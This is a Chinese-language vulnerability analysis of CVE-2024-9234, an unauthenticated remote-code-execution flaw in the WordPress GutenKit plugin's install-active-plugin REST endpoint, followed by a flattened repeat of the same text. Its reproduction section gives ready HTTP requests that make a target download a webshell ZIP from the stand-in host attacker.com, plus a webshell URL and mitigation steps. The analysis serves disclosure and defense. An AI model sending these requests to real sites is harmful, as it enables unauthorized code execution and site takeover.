Wordpress_GutenKit插件Rce-CVE-2024-9234分析
字数 1384 2025-08-22 12:23:06

WordPress GutenKit插件RCE漏洞分析 (CVE-2024-9234)

漏洞概述

GutenKit是WordPress的一个页面构建器插件,用于Gutenberg块编辑器。在2.1.0及以下版本中存在一个严重的安全漏洞,允许未经身份验证的攻击者远程执行代码(RCE)。

漏洞影响

  • 影响版本: GutenKit插件2.1.0及以下所有版本
  • 漏洞类型: 任意文件上传导致远程代码执行
  • 攻击复杂度: 低
  • 权限要求: 无需认证
  • 影响程度: 高危

漏洞环境

受影响环境

  • WordPress安装GutenKit插件且版本≤2.1.0
  • PHP版本7.4及以上
  • 测试环境验证版本: WordPress 6.7.1

漏洞分析

漏洞位置

漏洞位于插件文件gutenkit-blocks-addon/gutenkit-blocks-addon.php中的install_and_activate_plugin_from_external()函数。

漏洞成因

  1. 功能检查缺失: 该函数(对应install-active-plugin REST API端点)缺少必要的权限检查
  2. 参数可控: 函数接受两个可控参数:
    • plugin: 指定要下载的插件ZIP包URL
    • slug: 指定插件解压后的目录名
  3. 直接调用: 该函数注册了REST API路由,可通过HTTP请求直接调用
  4. 文件下载: 使用WordPress核心函数download_url()下载指定URL的文件

攻击流程

  1. 攻击者构造恶意ZIP包(包含Webshell)并托管在可控服务器
  2. 向目标站点发送精心构造的POST请求
  3. 目标站点下载并解压恶意ZIP包到插件目录
  4. 攻击者访问解压后的Webshell执行任意代码

漏洞复现

复现步骤

  1. 准备一个包含Webshell的ZIP压缩包
  2. 将ZIP包托管在攻击者控制的服务器上
  3. 向目标站点发送以下请求之一:

方法1: JSON格式

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: vulnerable-site.example.com
Content-Type: application/json
Content-Length: 114

{
    "plugin": "https://attacker.com/malicious-plugin.zip",
    "slug": "malicious-plugin"
}

方法2: Form格式

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: vulnerable-site.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

plugin=https://attacker.com/malicious-plugin.zip
  1. 虽然响应可能显示"The plugin directory does not exist after unzipping",但恶意文件可能已上传
  2. 访问上传的Webshell: https://vulnerable-site.example.com/wp-content/plugins/malicious-plugin/webshell.php

官方PoC示例

POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114

{
    "plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
    "slug": "popularis-extra"
}

防御措施

临时缓解方案

  1. 立即禁用或卸载GutenKit插件
  2. 检查wp-content/plugins目录是否有可疑文件
  3. 更新服务器和网站的安全配置

永久解决方案

  1. 升级GutenKit插件到最新安全版本(2.1.0以上)
  2. 实施Web应用防火墙(WAF)规则阻止相关攻击
  3. 限制WordPress REST API的访问权限

技术细节

漏洞函数分析

function install_and_activate_plugin_from_external($request) {
    // 缺少权限检查
    $plugin = $request->get_param('plugin'); // 可控参数
    $slug = $request->get_param('slug');    // 可控参数
    
    // 下载指定URL的插件包
    $download = download_url($plugin);
    
    // 解压并安装插件
    // ...
}

攻击限制

  1. 需要目标服务器能够访问攻击者控制的URL
  2. 上传的文件必须符合WordPress插件的基本结构(至少包含一个PHP文件)
  3. 解压后的目录名由slug参数控制

总结

CVE-2024-9234是一个严重的未授权RCE漏洞,允许攻击者通过WordPress REST API上传并执行任意代码。由于攻击门槛低且影响严重,所有使用GutenKit插件的网站应立即采取防护措施。

WordPress GutenKit插件RCE漏洞分析 (CVE-2024-9234) 漏洞概述 GutenKit是WordPress的一个页面构建器插件,用于Gutenberg块编辑器。在2.1.0及以下版本中存在一个严重的安全漏洞,允许未经身份验证的攻击者远程执行代码(RCE)。 漏洞影响 影响版本 : GutenKit插件2.1.0及以下所有版本 漏洞类型 : 任意文件上传导致远程代码执行 攻击复杂度 : 低 权限要求 : 无需认证 影响程度 : 高危 漏洞环境 受影响环境 WordPress安装GutenKit插件且版本≤2.1.0 PHP版本7.4及以上 测试环境验证版本: WordPress 6.7.1 漏洞分析 漏洞位置 漏洞位于插件文件 gutenkit-blocks-addon/gutenkit-blocks-addon.php 中的 install_and_activate_plugin_from_external() 函数。 漏洞成因 功能检查缺失 : 该函数(对应 install-active-plugin REST API端点)缺少必要的权限检查 参数可控 : 函数接受两个可控参数: plugin : 指定要下载的插件ZIP包URL slug : 指定插件解压后的目录名 直接调用 : 该函数注册了REST API路由,可通过HTTP请求直接调用 文件下载 : 使用WordPress核心函数 download_url() 下载指定URL的文件 攻击流程 攻击者构造恶意ZIP包(包含Webshell)并托管在可控服务器 向目标站点发送精心构造的POST请求 目标站点下载并解压恶意ZIP包到插件目录 攻击者访问解压后的Webshell执行任意代码 漏洞复现 复现步骤 准备一个包含Webshell的ZIP压缩包 将ZIP包托管在攻击者控制的服务器上 向目标站点发送以下请求之一: 方法1: JSON格式 方法2: Form格式 虽然响应可能显示"The plugin directory does not exist after unzipping",但恶意文件可能已上传 访问上传的Webshell: https://vulnerable-site.example.com/wp-content/plugins/malicious-plugin/webshell.php 官方PoC示例 防御措施 临时缓解方案 立即禁用或卸载GutenKit插件 检查 wp-content/plugins 目录是否有可疑文件 更新服务器和网站的安全配置 永久解决方案 升级GutenKit插件到最新安全版本(2.1.0以上) 实施Web应用防火墙(WAF)规则阻止相关攻击 限制WordPress REST API的访问权限 技术细节 漏洞函数分析 攻击限制 需要目标服务器能够访问攻击者控制的URL 上传的文件必须符合WordPress插件的基本结构(至少包含一个PHP文件) 解压后的目录名由 slug 参数控制 总结 CVE-2024-9234是一个严重的未授权RCE漏洞,允许攻击者通过WordPress REST API上传并执行任意代码。由于攻击门槛低且影响严重,所有使用GutenKit插件的网站应立即采取防护措施。